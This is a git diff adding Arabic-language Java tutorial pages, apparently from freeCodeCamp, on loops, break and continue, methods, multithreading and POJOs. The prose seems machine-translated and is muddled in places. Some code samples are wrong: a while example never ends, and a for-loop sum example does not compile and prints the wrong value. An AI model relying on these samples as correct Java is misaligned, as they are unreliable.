+قد تكون عبارات `break` مفيدة بشكل خاص أثناء البحث عن عنصر في صفيف. يؤدي استخدام `break` في التعليمة البرمجية التالية إلى تحسين الكفاءة أثناء توقف الحلقة بمجرد العثور على العنصر الذي نبحث عنه ( `searchFor` ) ، بدلاً من الاستمرار حتى يتم الوصول إلى نهاية `arrayInts` .
+
+ `int j = 0; 
+ int[] arrayOfInts = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+ int searchFor = 5; 
+ 
+ for (int i : arrayOfInts) 
+ { 
+    if (arrayOfInts[j] == searchFor) 
+    { 
+        break; 
+    } 
+    j++; 
+ } 
+ 
+ System.out.println("j = " + j); 
+` 
+
+يمكن استخدام بيان الاستراحة أيضًا ضمن عبارة "بيان".
+
+ `int i = 0; 
+ int[] arrayOfInts = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+ int searchFor = 5; 
+ 
+ while(i < 10){ 
+ System.out.println("i = " + j); 
+ if(arrayOfInts[i] > 7){ 
+  break; 
+  } 
+ } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJZC/0)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/loops/continue-control-statement/index.md b/client/src/guide/arabic/java/loops/continue-control-statement/index.md
new file mode 100644
index 0000000000..865882652a
--- /dev/null
+++ b/client/src/guide/arabic/java/loops/continue-control-statement/index.md
@@ -0,0 +1,49 @@
+---
+title: Continue Control Statement
+localeTitle: متابعة بيان التحكم
+---
+# متابعة بيان التحكم
+
+يؤدي العبارة `continue` إلى تخطي حلقة ما بعد السطور التالية بعد المتابعة والانتقال إلى بداية التكرار التالي. في `for` حلقة، يقفز التحكم إلى بيان التحديث، وفي `while` أو `do while` حلقة، يقفز التحكم إلى التعبير المنطقية / حالة.
+
+ `for (int j = 0; j < 10; j++) 
+ { 
+    if (j == 5) 
+    { 
+        continue; 
+    } 
+    System.out.print (j + " "); 
+ } 
+` 
+
+ستتم طباعة قيمة `j` لكل تكرار ، ما عدا عندما تساوي `5` . سوف تحصل على تخطي العبارة الطباعة بسبب `continue` وسوف يكون الإخراج:
+
+ `0 1 2 3 4 6 7 8 9 
+` 
+
+لنفترض أنك تريد حساب عدد `i` s في كلمة `mississippi` . هنا يمكنك استخدام حلقة مع عبارة `continue` ، كما يلي:
+
+ `String searchWord = "mississippi"; 
+ 
+ // max stores the length of the string 
+ int max = searchWord.length(); 
+ int numPs = 0; 
+ 
+ for (int i = 0; i < max; i++) 
+ { 
+    // We only want to count i's - skip other letters 
+    if (searchWord.charAt(i) != 'i') 
+    { 
+        continue; 
+    } 
+ 
+    // Increase count_i for each i encountered 
+    numPs++; 
+ } 
+ 
+ System.out.println("numPs = " + numPs); 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJZH/0)
+
+بالإضافة إلى ذلك ، يمكنك استخدام التسميات لاختيار حلقة محددة من مجموعة متداخلة للتخطي إلى التكرار التالي.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/loops/control-statements/index.md b/client/src/guide/arabic/java/loops/control-statements/index.md
new file mode 100644
index 0000000000..cd5bfefd5b
--- /dev/null
+++ b/client/src/guide/arabic/java/loops/control-statements/index.md
@@ -0,0 +1,46 @@
+---
+title: Jump Statements
+localeTitle: بيانات القفز
+---
+# بيانات القفز
+
+عبارات الانتقال هي نوع من بيانات [_تدفق التحكم_](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/flow.html) . في الأساس ، يمكنك استخدامها لتغيير الترتيب الذي يتم تنفيذ البيانات من مسار التنفيذ العادي. في الجوهر ، تتسبب هذه العبارات في أن "يتحكم البرنامج" بعيدًا عن نقطة التنفيذ المتوقعة التالية إلى مكان آخر في البرنامج.
+
+تُستخدم عبارات الانتقال التالية بشكل شائع مع الحلقات:
+
+*   [استراحة](http://forum.freecodecamp.com/t/java-loops-break-control-statement)
+*   [استمر](http://forum.freecodecamp.com/t/java-loops-continue-control-statement)
+
+تقسيم بيان التحكم "فاصل" خارج الحلقة عندما يتم استيفاء الشرط. هذا يعني أن بقية الحلقة لن تعمل. على سبيل المثال ، في الحلقة أدناه إذا وصلت إلى 5 ، فواصل الحلقة ، بحيث لا تستمر.
+
+ `for(int i=0;i<10;i++){ 
+ 
+  if(i == 5){ //if i is 5, break out of the loop. 
+    break; 
+  } 
+ 
+ System.out.println(i); 
+ } 
+` 
+
+انتاج:
+
+ `    0 1 2 3 4 
+` 
+
+إن بيان التحكم 'continue' هو الإصدار الأقل كثافة من 'break'. إنه يخرج فقط من المثيل الحالي للحلقة ويستمر. في الحلقة أدناه ، إذا كان i هو 5 ، تستمر الحلقة ، لذا سوف تتخطى بيان الطباعة أدناه وتتحرك حتى تصل إلى 10 وتوقف الحلقة.
+
+ `for(int i=0;i<10;i++){ 
+ 
+  if(i == 5){ //if i is 5, break out of the current instance loop. 
+    continue; 
+  } 
+ 
+ System.out.println(i); 
+ } 
+` 
+
+انتاج:
+
+ `    0 1 2 3 4 6 7 8 9 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/loops/do-while-loop/index.md b/client/src/guide/arabic/java/loops/do-while-loop/index.md
new file mode 100644
index 0000000000..01dd3b1386
--- /dev/null
+++ b/client/src/guide/arabic/java/loops/do-while-loop/index.md
@@ -0,0 +1,51 @@
+---
+title: Do...While Loop
+localeTitle: هل ... في حين حلقة
+---
+# هل ... في حين حلقة
+
+يتشابه `do while` the `while` loop ، لكن مجموعة البيانات يتم ضمان تشغيلها مرة واحدة على الأقل قبل التحقق من شرط معين. من المهم ملاحظة أن حلقة "حين" هي حلقة تحكم خروج. بينما (لن يتم تنفيذه بالضرورة) ، 'do while' عبارة عن حلقة يتم التحكم في دخولها (سيتم تنفيذها مرة واحدة على الأقل ، حتى إذا كان الشرط غير صحيح).
+
+ `do 
+ { 
+    // Statements 
+ } 
+ while (condition); 
+` 
+
+## مثال
+
+ `int iter_DoWhile = 20; 
+ do 
+ { 
+    System.out.print (iter_DoWhile + " "); 
+ 
+    // Increment the counter 
+    iter_DoWhile++; 
+ } 
+ while (iter_DoWhile < 10); 
+ System.out.println("iter_DoWhile Value: " + iter_DoWhile); 
+` 
+
+انتاج:
+
+ `    20 
+    iter_DoWhile Value: 21 
+` 
+
+**تذكر** : يتم التحقق من حالة حلقة `do-while` بعد أن يتم تنفيذ نص الرمز مرة واحدة.
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJYl/0)
+
+## ممارسه الرياضه
+
+هل يمكنك تخمين ناتج مقتطف الشفرة التالي؟
+
+ `int i = 10; 
+ do 
+ { 
+    System.out.println("The value of i is " + i); 
+    i--; 
+ } 
+ while (i >= 10); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/loops/for-each-loop/index.md b/client/src/guide/arabic/java/loops/for-each-loop/index.md
new file mode 100644
index 0000000000..2c3297279d
--- /dev/null
+++ b/client/src/guide/arabic/java/loops/for-each-loop/index.md
@@ -0,0 +1,81 @@
+---
+title: For Each Loop
+localeTitle: لكل حلقة
+---
+# لكل حلقة
+
+كما دعا إلى تعزيز `for` حلقة، فإنه هو وسيلة مفيدة للغاية وبسيطة لتكرار عبر كل عنصر في مجموعة، مجموعة أو أي كائن التي تطبق `Iterable` اجهة.
+
+ `for (object : iterable) 
+ { 
+    // Statements 
+ } 
+` 
+
+تتم قراءة الحلقة كـ "لكل عنصر في `iterable` (يمكن أن يكون صفيفًا أو قابل للتحصيل وما إلى ذلك)". يجب أن يتطابق نوع `object` مع نوع عنصر `iterable` .
+
+ `int[] number_list = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+ 
+ for (int numbers : number_list) 
+ { 
+    System.out.print(numbers + " "); 
+    // Iterated 10 times, numbers 0,1,2...9 
+ } 
+` 
+
+انتاج:
+
+ `    0 1 2 3 4 5 6 7 8 9 
+` 
+
+: صاروخ: [تشغيل التعليمات البرمجية](https://repl.it/CJYs/0)
+
+وبمقارنة هذا مع التقليدية `for` حلقات:
+
+ `int[] number_list = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+ 
+ for(int i=0;i < number_list.length;i++) 
+ { 
+  System.out.print(number_list[i]+" "); 
+      // Iterated 10 times, numbers 0,1,2...9 
+ 
+ } 
+` 
+
+انتاج:
+
+ `    0 1 2 3 4 5 6 7 8 9 
+` 
+
+: صاروخ: [تشغيل التعليمات البرمجية](https://repl.it/NJfG/0)
+
+كلا القطع المذكورة أعلاه من مقتطفات الشفرة تقوم بنفس العمل ، ولكن من الواضح أن كل حلقة تقدم مزايا في جعل التكرار من خلال عناصر مجموعة (صفيف ، في حالتنا) أسهل.
+
+مع الحلقات المحسّنة ، لم نعد بحاجة إلى الإشارة إلى نقاط البداية والنهاية للحلقة ، وبالتالي تقليل أخطاء OutofBounds. تتم إزالة الحاجة إلى عدادات الحلقة والفهرسة اليدوية ، وتحسين قراءة التعليمات البرمجية.
+
+من المهم ملاحظة أن إجراء تغييرات على متغير المتكرّرة لتعزيز الحلقات داخل الحلقة لا يؤدي إلى تغييرات في عناصر المجموعة الأصلية.
+
+يمكن أيضًا استخدام المحسن للحلقات مع المصفوفات متعددة الأبعاد أو مجموعات جافا الأخرى. ويرد مثال على استخدامه مع صفائف متعددة الطوابق أدناه:
+
+ `int number_list_new[][]={  {  0,  1, 2}, 
+                  {  3, 4, 5}, 
+                  { 6, 7, 8} }; 
+ 
+ // Because 2d arrays are implemented as "arrays of arrays",the first iteration variable iterates 
+ // through 3 such arrays(that is, the 3 rows of testarr[][]) 
+ for(int i[] : number_list_new) 
+ { 
+  for(int j : i){ 
+    System.out.print(j+" "); 
+  } 
+ } 
+` 
+
+انتاج:
+
+ `0 1 2 3 4 5 6 7 8 
+` 
+
+: صاروخ: [تشغيل التعليمات البرمجية](https://repl.it/NJhP/0)
+
+في المقتطفات البرمجية الواردة أعلاه ، `number_list` عبارة عن مصفوفة. إذا كنت لا تعرف ما هو هذا ، فلا تقلق بشأنه. المصفوفة هي كائن حاوية يحمل عددًا ثابتًا من القيم من نوع واحد ، ولكن أكثر على هذا لاحقًا.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/loops/for-loop/index.md b/client/src/guide/arabic/java/loops/for-loop/index.md
new file mode 100644
index 0000000000..b88ac81831
--- /dev/null
+++ b/client/src/guide/arabic/java/loops/for-loop/index.md
@@ -0,0 +1,69 @@
+---
+title: For Loop
+localeTitle: لحلقة
+---
+# لحلقة
+
+تمنحك الحلقة `for` لجهة صغيرة طريقة مدمجة للتكرار عبر مجموعة من القيم. يحتوي الأساسي `for` بالعبارة على ثلاثة أجزاء: تهيئة متغيرة وتعبير منطقي وتعبير الزيادة.
+
+ `for (variable initialization; boolean expression; increment expression) 
+ { 
+    // Statements 
+ } 
+` 
+
+*   `initialization` - تهيئة الحلقة ويتم تنفيذها مرة واحدة فقط ، في البداية.
+
+يمكنك تهيئة أكثر من متغير واحد من نفس النوع في الجزء الأول من الأساسية `for` إعلان حلقة؛ يجب فصل كل التهيئة بفاصلة.
+
+*   `expression` - تم تقييمه في بداية كل تكرار. إذا كان `expression` يقيم إلى `true` ، `Statements` والحصول على تنفيذها.
+*   `increment` - استدعائها بعد كل تكرار من خلال الحلقة. يمكنك زيادة / تقليل قيمة المتغيرات هنا. تأكد من أن الزيادة تعمل نحو قيمة التعبير ، لتجنب حلقة لا نهائية.
+
+وهناك طريقة شائعة ل `for` يستخدم الحلقة إذا كنت بحاجة إلى تكرار التعليمات البرمجية عدد محدد من المرات. على سبيل المثال ، إذا أردت إخراج الأرقام من 0 إلى 10 ، فيمكنك تهيئة المتغير لعدادك إلى 0 ، ثم تحقق مما إذا كانت القيمة أقل من 10 ، وإضافة واحدة إلى العداد بعد كل عملية تكرار.
+
+لاحظ أنك ستتحقق مما إذا كانت القيمة أقل من 10 ، وليس أقل من أو تساوي 10 ، حيث أنك تبدأ العدّاد الخاص بك عند 0.
+
+ `for (int iter_For = 0; iter_For < 10; iter_For++) 
+ { 
+    System.out.print(iter_For + " "); 
+    // Iterated 10 times, iter_For 0,1,2...9 
+ } 
+ 
+ System.out.println("iter_For Value: " + iter_For); 
+` 
+
+ملاحظة: من المقبول أيضًا الإعلان عن متغير داخل الحلقة for for single ككلمة.
+
+ `for (int iter_For = 0; iter_For < 10; iter_For++) 
+ { 
+    System.out.print (iter_For + " "); 
+    // Iterated 10 times, iter_For 0,1,2...9 
+ } 
+` 
+
+انتاج:
+
+ `0 1 2 3 4 5 6 7 8 9 
+ iter_For Value: 10 
+` 
+
+مثال آخر للحلقة التي تضيف أول 50 رقم سيكون مثل هذا. i ++ تعني i = i + 1.
+
+ `int addUntil = 50; 
+ int sum 0; 
+ 
+ for (int i = 1; i <= addUntil; i++) 
+ { 
+    sum+=i 
+ } 
+ 
+ System.out.println("The sum of the first 50 numbers is: " + 50); 
+` 
+
+![:rocket:](https://forum.freecodecamp.org/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJYr/0)
+
+### إضافات
+
+لا يمكنك استخدام رقم (بناء لغة C النمط القديم) أو أي شيء لا يتم تقييمه إلى قيمة منطقية كشرط لبيان if أو إنشاء looping. لا يمكنك ، على سبيل المثال ، أن تقول إذا (x) ، ما لم يكن x متغيرًا منطقيًا.
+
+أيضا ، من المهم أن نضع في اعتبارنا أن التعبير المنطقي يجب ، في مرحلة ما ، أن يقيّم على صوابه. خلاف ذلك ، سيتم عالق برنامجك في حلقة لا نهائية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/loops/index.md b/client/src/guide/arabic/java/loops/index.md
new file mode 100644
index 0000000000..a8b0009714
--- /dev/null
+++ b/client/src/guide/arabic/java/loops/index.md
@@ -0,0 +1,24 @@
+---
+title: Loops
+localeTitle: الحلقات
+---
+# الحلقات
+
+كلما كنت بحاجة إلى تنفيذ كتلة من التعليمة البرمجية عدة مرات ، ستقوم حلقة بشكل متكرر تأتي في متناول اليدين.
+
+يحتوي Java على 4 أنواع من الحلقات:
+
+*   [حائط اللوب](loops/while-loop)
+*   [هل ... في حين حلقة](loops/do-while-loop)
+*   [لحلقة](loops/for-loop)
+*   [لكل حلقة](loops/for-each-loop)
+
+يمكن تخصيص سلوك الحلقات باستخدام:
+
+*   [بيانات التحكم](loops/control-statements)
+    *   [بيان التحكم في الاستراحة](loops/break-control-statement)
+    *   [متابعة بيان التحكم](loops/continue-control-statement)
+
+حالة خاصة من الحلقات:
+
+*   [حلقات لا نهائية](loops/infinite-loops)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/loops/infinite-loops/index.md b/client/src/guide/arabic/java/loops/infinite-loops/index.md
new file mode 100644
index 0000000000..944d31fb8d
--- /dev/null
+++ b/client/src/guide/arabic/java/loops/infinite-loops/index.md
@@ -0,0 +1,62 @@
+---
+title: Infinite Loops
+localeTitle: حلقات لا نهائية
+---
+# حلقات لا نهائية
+
+حلقة infinte هي عبارة `for` عبارة حلقة ( `for` ، `while` ، `do-while` ) لا تنتهي من تلقاء نفسها.
+
+يحدد شرط اختبار عبارة looping ما إذا كان سيتم تنفيذ الحلقة loop أم لا. لذا فإن حالة الاختبار التي تكون دائمًا صحيحة سوف تستمر في تنفيذ جسم الحلقة إلى الأبد. هذا هو الحال في حلقة infinte.
+
+أمثلة:
+
+ `// Infinite For Loop 
+ for ( ; ; ) 
+ { 
+    // some code here 
+ } 
+ 
+ // Infinite While Loop 
+ while (true) 
+ { 
+    // some code here 
+ } 
+ 
+ // Infinite Do While Loop 
+ do 
+ { 
+    // some code here 
+ } while (true); 
+` 
+
+عادةً ، إذا كان يتم تشغيل الحلقة الخاصة بك بشكل لا نهائي ، فهذا خطأ لا ينبغي أن يحدث لأن حلقة لا نهائية لا تتوقف وتمنع بقية البرنامج من التشغيل.
+
+ `for(int i=0;i<100;i++){ 
+ 
+    if(i==49){ 
+    i=0; 
+    } 
+ 
+ } 
+` 
+
+يتم تشغيل الحلقة أعلاه بشكل لا نهائي لأن كل مرة أقترب فيها من 49 ، يتم تعيينها إلى 0. هذا يعني أني لم تصل إلى 100 لإنهاء الحلقة ، لذا فإن الحلقة هي حلقة لا نهائية.
+
+لكن برنامجًا عالقًا في حلقة كهذه سيستمر في استخدام موارد الكمبيوتر إلى أجل غير مسمى. هذا غير مرغوب فيه ، وهو نوع من "خطأ وقت التشغيل".
+
+لمنع الخطأ ، يقوم المبرمجون باستخدام عبارة فاصل للخروج من الحلقة. الكسر ينفذ فقط تحت شرط معين. استخدام بيان تحديد مثل if else يضمن نفسه.
+
+ `while (true) 
+ { 
+    // do something 
+ 
+    if(conditionToEndLoop == true) 
+        break; 
+ 
+    // do more 
+ } 
+` 
+
+الميزة الرئيسية لاستخدام حلقة لا نهائية عبر حلقة منتظمة هي قابلية القراءة.
+
+في بعض الأحيان ، يكون من السهل فهم جسم الحلقة إذا انتهت الحلقة في المنتصف ، وليس في النهاية / البداية. في مثل هذه الحالة ، ستكون حلقة لا نهائية خيارًا أفضل.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/loops/while-loop/index.md b/client/src/guide/arabic/java/loops/while-loop/index.md
new file mode 100644
index 0000000000..b413cf6a21
--- /dev/null
+++ b/client/src/guide/arabic/java/loops/while-loop/index.md
@@ -0,0 +1,40 @@
+---
+title: While Loop
+localeTitle: حائط اللوب
+---
+# حائط اللوب
+
+في `while` حلقة تنفيذ مرارا وتكرارا على كتلة من البيانات حتى الشرط المحدد داخل الأقواس بتقييم ل `false` . على سبيل المثال:
+
+ `while (some_condition_is_true) 
+ { 
+    // do something 
+ } 
+` 
+
+يتم تنفيذ كل "التكرار" (من تنفيذ كتلة البيانات) من قبل تقييم الشرط المحدد داخل الأقواس - يتم تنفيذ البيانات فقط إذا تم تقييم الشرط إلى `true` . إذا تم تقييمه إلى " `false` ، يتم استئناف تنفيذ البرنامج من العبارة الموجودة مباشرةً بعد المربع " `while` .
+
+**ملاحظة** : بالنسبة إلى حلقة `while` لبدء التنفيذ ، يجب أن يكون الشرط `true` البداية. ومع ذلك ، للخروج من الحلقة ، يجب عليك القيام بشيء ما داخل كتلة العبارات للوصول في النهاية إلى التكرار عندما يتم تقييم الحالة إلى `false` (كما هو موضح أدناه). وإلا سيتم تنفيذ الحلقة إلى الأبد. (من الناحية العملية ، سيتم تشغيله حتى نفاد الذاكرة [JVM](https://guide.freecodecamp.org/java/the-java-virtual-machine-jvm) .)
+
+## مثال
+
+في المثال التالي ، يتم إعطاء `expression` بواسطة `iter_While < 10` . نحن زيادة `iter_While` بواسطة `1` كل مرة يتم تنفيذ الحلقة. حلقة `while` فواصل عندما تصل قيمة `iter_While` إلى `10` .
+
+ `int iter_While = 0; 
+ while (iter_While < 10) 
+ { 
+    System.out.print(iter_While + " "); 
+    // Increment the counter 
+    // Iterated 10 times, iter_While 0,1,2...9 
+    iter_While++; 
+ } 
+ System.out.println("iter_While Value: " + iter_While); 
+` 
+
+انتاج:
+
+ `0 1 2 3 4 5 6 7 8 9 
+ iter_While Value: 10 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CJYj/0)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/methods/index.md b/client/src/guide/arabic/java/methods/index.md
new file mode 100644
index 0000000000..9796e69009
--- /dev/null
+++ b/client/src/guide/arabic/java/methods/index.md
@@ -0,0 +1,85 @@
+---
+title: Methods
+localeTitle: أساليب
+---
+# أساليب
+
+الطريقة الأكثر تميزا في جاوة هو على الارجح `public static void main(String[]args)` حيث `public` يعني أن المستخدمين من الوصول إلى الأسلوب `static` يعني أن أسلوب يستند إلى "الطبقة" بدلا من "مثيل" `void` وسائل أنه لن يتم إرجاع أي شيء من الطريقة إلى طريقة أخرى (مستوى أعلى) ، والسبب `main` هو اسم هذه الطريقة الخاصة.
+
+`getName()` و `getManufacturerName()` هما طريقتان "Getter" استخدمناها هنا. بشكل عام ، تتكون الطرق في Java من هذه الأجزاء -
+
+*   وصول Modifer (اختياري) - `public` ، `private` ، أو `protected` . الإعدادات الافتراضية لحزم خاصة إذا تم حذفها
+*   عودة نوع - هذا مطلوب، فإنه يدل على قيمة ما إرجاع الأسلوب، أو `void` إذا تم إرجاع أي شيء
+*   اسم الأسلوب - يتبع اتفاقية camelCase
+*   قائمة المعلمات - قائمة المعلمات مع اسمها ونوعها ، فارغة إذا لم يتم قبول أي معلمات
+*   جسد الطريقة محاطًا بـ `{ }`
+
+يمكن أيضًا أن تحتوي الطرق بشكل اختياري على الكلمة الرئيسية `static` ، أي أنها مرتبطة بالفئة نفسها ، بدلاً من مثيل للفئة ، الرئيسية السابقة `public static void main()` .
+
+لاحظ ، على عكس جافا سكريبت ، **يتعين** علينا تحديد نوع الإرجاع لأي طريقة نكتبها ، وإلا فسوف يفشل في وقت التحويل البرمجي. إذا كنت لا تريد طريقة لإرجاع أي شيء ، فاستخدم نوع الإرجاع `void` .
+
+يحتوي كل أسلوب على توقيع ، وهو تركيبة نوع البيانات والاسم وعدد الوسيطات التي تأخذها الطريقة. في `public static void main` ، لا يحتوي الأسلوب على نوع بيانات محدد ويستخدم بدلاً من ذلك `void` للإعلان عن عدم إرجاع أي بيانات. في طريقة تسمى `public static double ave(double val, double val)` يكون نوع البيانات "double" (0.0) ، ويكون الاسم "ave" (متوسط) بينما تأخذ الطريقة اثنين من الوسيطات. **يجب أن** يكون لكل طريقة توقيع فريد.
+
+ `public class Car { 
+    private String name; 
+    private String manufacturersName; 
+ 
+    public void changeName() { 
+        name = "Tesla"; 
+    } 
+ 
+    public String getName(){ 
+        return name; 
+    } 
+ 
+    public String getManufacurername(){ 
+        return manufacturersName; 
+    } 
+ 
+ } 
+` 
+
+يمكن تمرير المعلمات في الأساليب. المعلمات معلنة فقط بعد اسم الأسلوب ، داخل الأقواس. بناء الجملة لإعلان المعلمة هو \[نوع البيانات\] \[الاسم\].
+
+ `public class Car { 
+    private String name; 
+ 
+    public void changeName(String newName) { 
+        name = newName; 
+    } 
+ } 
+` 
+
+كما هو الحال مع أي لغة أخرى ، يتم استخدام الأساليب (أو الوظائف ، إذا كنت هنا من JS world) في كثير من الأحيان من حيث النمطية والقابلية لإعادة الاستخدام.
+
+غالبًا ما تخدم الطرق العديد من الأغراض مثل تحديث المعلومات في كائن ما أو تقديم البيانات إلى المتصل. وهنا بعض الأمثلة.
+
+ `public class Car { 
+    private int numberOfWheels; 
+ 
+    public void setNumberOfWheels(int newNumberOfWheels) { 
+        numberOfWheels = newNumberOfWheels; 
+    } 
+ 
+    public int getNumberOfWheels() { 
+        return numberOfWheels; 
+    } 
+ } 
+` 
+
+في حالة `getNumberOfWheels()` يكون نوع الإرجاع هو رقم `int` . يخبر `return` الكلمة الرئيسية جافا بتمرير قيمة متغير متغير `numberOfWheels` . ومع ذلك ، لا يحتوي `setNumberOfWheels(int newNumberOfWheels)` على أي نوع من أنواع الإرجاع ، حيث إنه عبارة عن أسلوب محدد كما تمت رؤيته سابقًا. في هذه الحالة على الرغم من أنه يأخذ في الوسيطة من نوع `int` ويجعل مثيل varicOfWheels `numberOfWheels` يساوي `newNumberOfWheels` .
+
+توجد أيضًا طريقة خاصة تسمى مُنشئ تسمح بضبط البيانات أو العمليات التي سيتم تنفيذها عند إنشاء الطبقة. هذا المنشئ ليس لديه نوع الإرجاع.
+
+ `public class Car { 
+    private String model; 
+    private int numberOfWheels; 
+ 
+    public Car(String model, int numberOfWheels) { 
+        this.model = model; 
+        this.numberOfWheels = numberOfWheels; 
+    } 
+ } 
+` 
+
+في `Car` الفئة و `Car(String model, int numberOfWheels)` طريقة يكون لديك نفس الاسم من أجل جافا لمعرفة أنه هو المنشئ. الآن في أي وقت تقوم بإنشاء مثيل `Car` جديدة مع الكلمة الأساسية `new` ستحتاج إلى استدعاء هذا المنشئ وتمرير في البيانات المطلوبة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/multithreading/index.md b/client/src/guide/arabic/java/multithreading/index.md
new file mode 100644
index 0000000000..e9cddd4001
--- /dev/null
+++ b/client/src/guide/arabic/java/multithreading/index.md
@@ -0,0 +1,35 @@
+---
+title: Multithreading
+localeTitle: خاصية تعدد
+---
## خاصية تعدد
+
+يعد تعدد العمليات عملية تنفيذ عمليات متعددة في نفس الوقت. تقوم Java بتشغيل البرنامج باستخدام مؤشر ترابط رئيسي وإضافة المزيد من مؤشرات الترابط إلى مؤشر ترابط رئيسي عند إنشاء أي مستخدم له. الموضوع الرئيسي هو أول موضوع المستخدم في أي برنامج جافا. أيضا ، JVM يتأكد من أن جميع المواضيع المستخدم مغلقة قبل انتهاء البرنامج.
+
+الخيط له مزايا وعيوب.
+
+## مزايا:
+
+*   تشغيل التعليمات البرمجية بشكل مستقل عن مؤشرات الترابط الأخرى.
+*   خلق تصميم وحدات.
+
+## سلبيات:
+
+حالات السباق و Deadlocks إذا لم يتم syncrhronized مؤشرات الترابط بشكل صحيح.
+
+يمكن تقسيم الخيوط إلى فئتين:
+
+*   المواضيع العضو
+*   خيوط الشيطان
+
+يمكن إنشاء مؤشر ترابط بطريقتين:
+
+1.  تنفيذ واجهة Runnable: هناك طريقة واحدة فقط في واجهة Runnable أي تشغيل void العام (). سيضمن تنفيذ هذا الأسلوب أنه عند بدء تشغيل مؤشر الترابط ، يتم تنفيذ التعليمة البرمجية داخل run ().
+    
+2.  تمديد فئة الموضوع. يحتوي هذا الفصل أيضًا على تشغيل void عام () والذي نحتاج إلى تجاوزه لتشغيل الكود الخاص بنا. تتمثل عيوب استخدام هذه الطريقة في أن لدينا فئة مميزة في سلسلة الرسائل ولا يمكننا توسيع أي فئة أخرى قد نريدها.
+    
+
+يمكن العثور على الكود لكليهما: http://ide.geeksforgeeks.org/k7GjcA.
+
+ستلاحظ أنه إذا تم تشغيل هذا الرمز عدة مرات ، فقد تختلف النتائج. ويتم تحديد ذلك من قبل نظام التشغيل الذي يتم تشغيله. يمكن لنظام التشغيل اختيار أي مؤشر ترابط من حالة runnable ويمكن تشغيله. نحن hsve أي السيطرة على ذلك. إذا كان هناك العديد من مؤشرات الترابط في حالة runnable (جاهز للتشغيل) ، يمكن اختيار أي شخص. حتى لا تعتمد على الأولوية.
+
+مزيد من التفاصيل: https://www.ntu.edu.sg/home/ehchua/programming/java/J5e\_multithreading.html
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/pojo/index.md b/client/src/guide/arabic/java/pojo/index.md
new file mode 100644
index 0000000000..7ed2d60199
--- /dev/null
+++ b/client/src/guide/arabic/java/pojo/index.md
@@ -0,0 +1,36 @@
+---
+title: POJO
+localeTitle: POJO
+---
+## POJO
+
+POJO لتقف على "كائن جافا قديم سهل". هذا يختلف عن كائنات _جافا سكريبت_ عادي القديم. يشير "كائن Java قديم عادي" إلى نموذج البرمجة Oriented Programming (OOP) المستخدمة في لغة برمجة Java. يعامل [نموذج OOP](https://en.wikipedia.org/wiki/Object-oriented_programming) البيانات على أنها "كائنات". كل "كائن" هو مثيل لـ "الفئة" ، التي تمثل النموذج الأصلي أو القالب الذي ترث منه كل الكائنات خصائصها وسماتها.
+
+وبالتالي فإن POJO ببساطة كائن جافا. ومع ذلك ، يجب أن تستوفي أيضًا المعايير الإضافية التالية:
+
+1.  يجب ألا يتم توسيع فئات Java المحددة مسبقًا ؛
+
+ `public class Foo extends javax.servlet.http.HttpServlet { 
+ ...// body ... 
+ } 
+` 
+
+2.  يجب أن لا تنفذ واجهات prespecified ؛
+
+ `public class Bar implements javax.ejb.EntityBean { 
+  ...  // body 
+ } 
+` 
+
+3.  يجب ألا يحتوي على التعليقات التوضيحية المحددة سلفًا.
+
+ `@javax.persistence.Entity public class Baz { 
+  ... // body ... 
+ } 
+` 
+
+لذلك ، يتم تأهيل كائن جافا على أنه POJO فقط عندما يكون خاليًا من التعديلات السابقة. ومن ثم ، فإن "POJO" ليس "ملزمًا بأي قيود" غير تلك المنصوص عليها في مواصفات لغة جافا الرسمية.
+
+#### معلومات اكثر:
+
+[ويكيبيديا - بوجو](https://en.wikipedia.org/wiki/Plain_old_Java_object)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/regular-expressions/index.md b/client/src/guide/arabic/java/regular-expressions/index.md
new file mode 100644
index 0000000000..c7b67fcb0b
--- /dev/null
+++ b/client/src/guide/arabic/java/regular-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: Regular Expressions
+localeTitle: التعبيرات العادية
+---
+## التعبيرات العادية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/resources/index.md b/client/src/guide/arabic/java/resources/index.md
new file mode 100644
index 0000000000..141d071e0d
--- /dev/null
+++ b/client/src/guide/arabic/java/resources/index.md
@@ -0,0 +1,49 @@
+---
+title: Resources
+localeTitle: مصادر
+---
+# مصادر
+
+جافا علامة تجارية ومرخصة من قبل أوراكل. معظم الموارد التالية هي موارد غير رسمية ، ما لم تستضفها Oracle.
+
+## دروس
+
+*   [أوراكل الرسمية جافا دروس](http://docs.oracle.com/javase/tutorial/index.html)
+*   [اعتقد جاوة](http://greenteapress.com/wp/think-java/)
+*   [جينكوف في برامج جافا التعليمية](http://tutorials.jenkov.com/java/index.html)
